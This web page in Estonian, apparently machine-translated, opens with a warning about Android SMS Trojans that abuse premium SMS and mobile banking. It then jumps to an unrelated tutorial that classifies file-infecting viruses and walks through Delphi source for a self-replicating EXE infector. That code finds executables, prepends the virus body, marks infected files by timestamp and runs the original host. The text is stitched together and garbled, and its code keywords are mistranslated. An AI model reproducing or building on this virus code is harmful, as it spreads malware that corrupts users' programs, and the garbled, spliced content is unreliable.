Kuidas saata viirus ohvrile. Häkkimine kellegi teise kätega

28.03.2023
Haruldased tütretütred võivad kiidelda, et neil on ämmaga tasavägised ja sõbralikud suhted. Tavaliselt juhtub täpselt vastupidine

Viimastel aastatel võite viirust püüda mitte ainult pärast ebaõnnestunud Internetis surfamist - nüüd on häkkerid ja petturid palju kogenumad. Täna räägime teile, kuidas võidelda ründajatega, kes saadavad pahatahtlike linkidega ohtlikke sõnumeid. Räägime teile, kui ohtlik on selles navigeerimine ja kuidas vältida telefoni nakatumise ohtu.

Mis uudiskiri see on?

Nii on alates mai lõpust sadade tuhandete kasutajate telefonid sattunud petturite varjatud rünnaku alla. Lühikesed, intrigeerivad sõnumid jõuavad nutitelefonidesse - "Hei, vaadake fotot ja linki!", millele on lisatud ülemineku saidi aadress. Mõnikord lisatakse märkmeid, et "see ei ole rämpspost", või "me peame selle välja mõtlema", saab lisada perekonnanimi või helista "Abi". Tegelikult, kui te sellele kohe ei mõtle, võite sellel klõpsata ja faili alla laadida. Loodate, et avate sõbra foto, kuid te ei saa midagi. Just sel hetkel laaditakse telefon alla viiruse rakendus.

Kui vaatate allalaadimislogis faililaiendit, siis näete, et jpg-d seal pole, see töötab APK programm. Viiruslik alglaadur, eriti antud juhul, põhjustab paljude telefoni seadete muutumise.

Kasutajad ei suuda alati oma mobiiltelefonis viirust ära tunda ja seetõttu ei saa nad pahatahtlikku programmi kustutada ega midagi ette võtta enne, kui viirus pääseb ligi isikuandmetele.

Praegu peetakse Androidi nutitelefone kõige haavatavamaks. Androidis on SMS-i teel ilmunud uus viirus.

Avatud lähtekoodiga nutitelefonides, milleks on Androidi operatsioonisüsteem, levivad uued viirused uskumatu kiirusega.

Nüüd on need muutunud. Kui varem prooviti raha kasutada vaid mobiiltelefonides, siis täna on sihikule võetud pangakaardid ja kõik internetipangas olevad vahendid. Petturid huvitavad eelkõige mobiilipanga teenust toetavad nutitelefonid. See võimaldab teil petturi numbri abil ohvri kontolt raha varastada. Selleks saadavad nad viiruse SMS-iga Androidile.

Kuidas petturid tegutsevad

Esimene selline viirus aktiveerus 2017. aasta suve alguses. Oht on selles, et troojalane töötab eemalt Androidi nutitelefonis.

Ründajad saadavad SMS-i soovitud numbrile, nii et selle viiruse olemasolu tuvastamiseks oma mobiilividinates peaksid nutitelefonide omanikud pöörama tähelepanu 100 rubla maksvate SMS-sõnumite arvu suurenemisele. Selle tulemusena võetakse nutitelefoni omaniku mobiilikontolt välja summa, mis jagub 100-ga.

Märkimisväärse raha teenimiseks on ründaja sunnitud saatma oma ohvri numbrilt mitu SMS-i troojalast. Lõppude lõpuks pole ta ainus, kes selles petuahelas töötab.

Trooja seab end sisse ohvri vidinasse ja saadab ohvri numbrilt SMS-i petturite “kallile” numbrile. Ja just nendele sellele “kallile” numbrile adresseeritud SMS-ide eest nõutakse ohvrilt 100 rubla. iga volitamata SMS-sõnumi kohta.

Vahendajateks selles skeemis võivad olla sideoperaator, teenusepakkuja ja teised partnerid, kes ei pruugi petturite nippidest teada. Kõigi kulude katmiseks ja raha teenimiseks peab ründaja igalt numbrilt välja võtma vähemalt 1000 rubla.

Samas ei saa välistada võimalust, et nutitelefonide omanikud võivad oma operaatorile rahavarguse peale kaevata. Ja seejärel võtavad nad pettuse ärahoidmiseks vastumeetmeid. Näiteks võivad nad kehtestada nõude sisestada lisakinnitused enne raha debiteerimist jms. Sellises olukorras on ründajad sunnitud otsima uusi pettusviise.

Tänu nendele teguritele ilmus veel üks troojalane. See Trojan-SMS-i esindaja täidab ka kaugserverist saadud käske.

Uus viirus on paindlikum ja navigeerib suurepäraselt kõigis tingimustes, võttes arvesse mobiilsideoperaatori takistusi ja isegi abonendi konto olekut ja tehingute aega.

Kuidas viirus töötab

Uus viirus on uinunud – tal puudub iseseisvus. Isegi kui see nutitelefoni satub, ei ilmu see mingil viisil. Selle toimimiseks on vaja telefoni omaniku kaugkäsklust.

Selleks kasutatakse nn POST päringut. See on mõeldud päringu jaoks, mille puhul veebiserver võtab salvestamiseks vastu sõnumi sisusse lisatud andmeid. Seda kasutatakse sageli näiteks faili allalaadimiseks.

POST-päringu kasutamine võimaldab teil luua ühenduse kaugserveriga ja saada vastava käsu, mille saamisel hakkab troojalane oma ohvrite numbritelt petturitele kalleid SMS-sõnumeid saatma.

Kuidas uus troojalane töötab? Näiteks saadab programm mobiilipanka toetavale numbrile automaatselt SMS-sõnumid ühe sõnaga “BALANCE”.

Lühinumbrilt SMS-i saates saavad petturid kontrollida, kas ohvri number on seotud pangakontoga ja milline on konto staatus.

Näiteid elust

Näiteks Sberbankil on number, millelt sõnumeid saadetakse - 900. Kui saatjalt 900 saabub teade “BALANCE” (või võib-olla vene keeles “saldo”), siis telefoni omanik usaldab Sberbanki ja on kindel, et see teade on sellest pangast, avab sõnumi ja vastab sellele, soovides teada, mis saldoga juhtus. Nii saavad petturid oma SMS-ile vastuse, mis tähendab nende jaoks, et telefoni külge on kinnitatud pangakaart. Veelgi enam, neile saab selgeks, et seda kaarti saab hallata SMS-käskude abil, mis sisalduvad mobiilipanga teenuses. Ja siis, nagu öeldakse, "tehnika küsimus".

Üks mu sõber sai hiljuti sõnumi lühinumbrilt 4-74-1, mis on registreeritud Sberbanki mobiilipangas sõnumiga "Teenus pole saadaval, proovige hiljem uuesti." Arusaadavatel põhjustel ta vastust ei saatnud, teades juba võimalikest ähvardustest. Ilmselt on tegemist samade petturitega, kes maskeeruvad mobiilipangaks, sel viisil proovisid nad välja arvutada tema reaktsiooni ja teha kindlaks, kas tema nutitelefoni on installitud mobiilipank.

Klassifikatsioon

HLLO-kõrgetasemeline keele ülekirjutamine. Selline viirus kirjutab programmi koos oma kehaga ümber. Need.
programm hävib ja kui kasutaja proovib programmi käivitada, käivitub viirus ja “nakatab” edasi.

HLLC-kõrgetasemeline keelekaaslane. Enamik neist viirustest pärineb iidsest ajast (8-10 aastat tagasi), mil kasutajatel oli DOS ja nad olid väga laisad. Need viirused otsivad faili ja loovad seda muutmata endast koopia, kuid laiendiga .COM. Kui laisk kasutaja kirjutab käsureale ainult faili nime, siis DOS otsib esmalt üles COM-faili, käivitades viiruse, mis teeb esmalt oma töö ära ja seejärel käivitab EXE-faili. On veel üks modifikatsioon
HLLC - moodsam (7 aastat vana;)): Viirus nimetab faili ümber, säilitades nime, kuid muutes laiendit - EXE-lt näiteks OBJ-ks või MAP-iks. Viirus asendab algfaili oma kehaga. Need. kasutaja käivitab viiruse, mis pärast paljundamist käivitab soovitud programmi - kõik on rahul.

HLLP-kõrgetasemeline keeleparasiit. Kõige arenenum. Määrake failile nende keha esiosast (viirus käivitub kõigepealt, siis taastab programmi ja käivitab selle) või tagantpoolt
- siis kirjutame programmi päisesse viiruse keha lähedale jmp, käivitades ikkagi esimesena.

Võime jätta programmi enda muutmata, siis näeb see välja järgmine:

Mis on MZ, ma arvan, et arvasite ära :) Need on teie armastatud Mark Zbikowski initsiaalid, mille ta exe-faili allkirjas tagasihoidlikult määratles :) Ja ma sisestasin need siia, et saaksite aru
- nakatumine toimub copy /b virus.exe program.exe põhimõttel ja siin pole erilisi nippe. Mitte praegu. Aga sina ja mina ajame nad persse
- Ole tervislik:). Noh, näiteks: saate algprogrammi esimesed 512 või enam baiti krüpteerida mis tahes teile teadaoleva algoritmiga - XOR/XOR, NOT/NOT, ADD/SUB, siis näeb see välja selline:

Sellisel juhul ei ole nakatunud faili struktuur nii selge.
Pole asjata, et ma siin nii palju plärisesin (klassifikatsioonis, selles mõttes)
- parasiitide algoritmi kasutavad 90% kaasaegsetest viirustest, olenemata nende levitamismeetodist. Olgu, lähme edasi:

Võrguviirus. Võib olla ükskõik milline ülaltoodud. See erineb selle poolest, et selle jaotus ei ole
piirdudes ühe arvutiga, jõuab see nakkus kuidagi Interneti või kohaliku võrgu kaudu teistesse masinatesse. Ma arvan, et sa tood 3-4 sõpra oma seebikarbist regulaarselt välja.
- siin on näide võrguviirusest. Ja kui see satub kellegi teise arvutisse, nakatab see faile meelevaldsel viisil või ei nakata neid ÜLDSE.

Makroviirused, skriptiviirused, IRC viirused. Panin need ühte rühma, sest need on viirused, mis on kirjutatud rakendustesse sisseehitatud keeltes (MSOffice:)), skriptid (siin on teie lemmik VBS-reeglid) ja IRC-skriptid. Rangelt võttes, niipea kui mingisse rakendusse ilmub piisavalt võimas (ja/või lekkiv) skriptikomponent, hakatakse sellele kohe viiruseid kirjutama 😉 Muide, makroviirused on väga lihtsad ja heuristika abil kergesti tuvastatavad.

Kodeerimine

Jõudsime kohale 🙂 Tule, pane Delphi käima, tapa kõikvõimalikud aknad ja pühi projekti aknast kõik jama. See tähendab, et pühkige kõik ära :) Töötame ainult DPR-iga, mis sisaldab:

programm EVIL_VIIRUS;
KASUTAB WINDOWSID, SYSUTILS;
alustada
lõpp;

Arvan, et said juba klassifikatsioonist aru viiruse loogikast - taastame ja käivitame programmi --> ootame selle töö lõpetamist - -> kustutame “kasutatud faili” (unustasin öelda – me EI TÖÖTLE nakatunut programmi, teisaldame algkoodi vasakpoolsesse faili ja käivitame NÄIDE: Nakatunud fail NOTEPAD.EXE Looge fail _NOTEPAD.EXE samasse kataloogi algse koodiga ja käivitage see).--> otsige nakatamata fail ja nakatada seda. See on kõik :) Viiruse põhikujundus näeb välja täpselt selline.

Nüüd deklareerige oma võimsa aju jaoks järgmised muutujad ja konstandid:

VaR VirBuf, ProgBuf, MyBuf: märkide massiiv;
SR: TSearchRec;
Minu,pr: fail;
ProgSize,tulemus: täisarv;
PN,st: String;
si: Tstartupinfo;
p:Tprotsessiteave;
nakatunud: Boolean;
CONST VirLen: longint= 1000000;

Esimene rida sisaldab dünaamilisi massiive, millesse kirjutame vastavalt viiruse keha ja programmi; Kirjutatakse muutujasse SR
leitud faili, mis võib nakatuda, omadused (loodan, et olete tuttav protseduuridega FindFirst ja FindNext, sest see läheb hullemaks;)), minu ja
Pr on fail, kust alustasime, ja vasakpoolne fail algse programmikoodiga (sellest kirjutasin juba eespool). tulemus - FindFirsti tulemus, see peab olema võrdne nulliga,
ProgSize – programmi koodi suurus. Ülejäänu selgub järgnevast, välja arvatud
nakatunud – see on märk sellest, et leitud fail on nakatunud ja
VirLen on viiruse koodi pikkus, saad teada alles pärast pulmi. Oeh, ma tahtsin pärast koostamist öelda. Need. kompileerida, muuta allikas konstandi väärtust ja kompileerida uuesti.
Kodeerime edasi :) Siin näete koodi, mis vastutab nakatunud programmi taastamise ja käivitamise eest:

SetLength(virbuf,VirLen);
AssignFile(minu,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
IF FileSize (minu)> VirLen, siis
alustada
//Käivita programm
AssignFile(minu,"c:\windows\program.exe);
Lähtesta(minu);
ProgSize:= Failisuurus(minu)-VirLen;
BlockRead(minu,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(minu,progbuf,progSize);
CloseFile(minu);
PN:= "_"+ParamStr(0);
Määra fail(pr,PN);
ReWrite(pr);
BlockWrite(pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
koos Si do
alustada
cb:= Suurus(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
lõpp;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Loo_vaikimisi_vea_režiim,null,null,si,p);
Waitforsingleobject(p.hProcess,lõpmatu);
//Alustas, programm jooksis. Kustutame ära :)
ErAsE(pr);
Kustuta (minu);

Siin on kõik põhimõtteliselt lihtne ja selge, välja arvatud see, miks ma kogu nakatunud faili Windowsi kataloogi teisaldasin ja mida teevad read 3 kuni 5 (kaasa arvatud).
Tegin seda seetõttu, et töötavast failist lugemine on ebamugav ja võimalik ainult CreateFile ja ReadFile WinAPI abil. Ma räägin teile WinAPI abil kodeerimisest hiljem, nüüd käsitlen lihtsalt põhitõdesid
- Delfis.

Need read on stringi teisendamine pchariks traditsioonilisel meetodil, kuna nüüd võitleme iga koodibaidi eest. Veel üks punkt: ma käitusin valesti, määrates c:\windows tee nii rangelt. Kasutage parem GetWindowsDirectory protseduuri, uurige kindlasti :) Kõik muu on selge ilma kommentaarideta (kui mitte
lõpeta arvutiteaduse vahelejätmine;)), liigume edasi:

result:= FindFirst("*.exe",faAnyFile,sr);
WHILE Tulemus = 0 DO
alustada
//Kontrolli täid
Nakatunud:= vale;
IF DateTimeToStr (FileDateToDateTime (fail (sr.name)))= "08/03/98 06:00:00" siis nakatunud:= true;
//Kontrollitud!
IF (nakatunud = vale) ja (sr.name<>paramstr(0)), siis
alustada
AssignFile(minu,sr.Nimi);
Kirjuta uuesti (minu);
BlockWrite(minu,virbuf,virlen);
BlockWrite(minu,progbuf,sr.Size);
CloseFile(minu);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
lõpp;
lõpp;

//Kui viirus käivitatakse “puhtana”, st. mitte nakatunud programmist, siis väljume
end else peatada;

Mida teie terav silm siin näeb? Täpselt nii, FindFirst protseduur otsib antud ohvrit (suvalist exe faili praegusest kataloogist), kannab selle omadused üle SR muutujasse. Seejärel peate kontrollima, kas see on saastunud. Seda tehakse originaalsel viisil: nakatumisel määratakse failile def. päev ja aeg. Ja iga selliste omadustega fail loetakse nakatunuks. Kõik muu on jällegi nilbe lihtne, nii et liigun sujuvalt järelduseni :)

Järeldus

Nii et me kodeerisime oma esimese viiruse. Praegu suudab see nakatada ainult praeguses kataloogis olevaid faile (kuigi olen kindel, et saate seda hõlpsasti uuendada ;)) ja ei tea midagi teistest kataloogidest ja Internetist. Ärge heitke meelt, me õpetame talle selle kiiresti selgeks. Praegu mängige nende ridadega ringi ja oodake järgmist artiklit.

Rakendus

Ma julgen teile kirjeldada kõiki artiklis kasutatud protseduure. See aitab teil neid abist otsida ja valmistuda tõsiste viiruste kodeerimiseks
WinAPI.

AssignFile – WinAPI-s pole samaväärset – vastab failile
muutujaga File või TextFile

Reset - _lopen ja CreateFile analoogid - avaneb
olemasoleva faili ja määrab asukoha
alguseni lugedes

ReWrite - _lcreate ja CreateFile - loob uue faili ja
suu lugemisasendit algusesse. Kui toidad
Kirjutage ümber olemasolev fail ja selle sisu
lähtestatakse nullile

BlockRead – _lread ja ReadFile – loeb puhvrisse
teatud hulk andmeid failist

BlockWrite - vastavalt _lwrite ja WriteFile - kirjutab
andmed faili

SeekFile – _llseek ja SetFilePointer – liigub positsiooni
lugeda/kirjutada avatud faili

CloseFile – _lclose ja CloseHandle – sulgeb avatud faili
faili

Erase - DeleteFile - faili kustutamine

FindFirst – FindFirstFile – faili otsimine kriteeriumide järgi

FindNext – FindNextFile – järgmise faili otsimine

Viimased saidi materjalid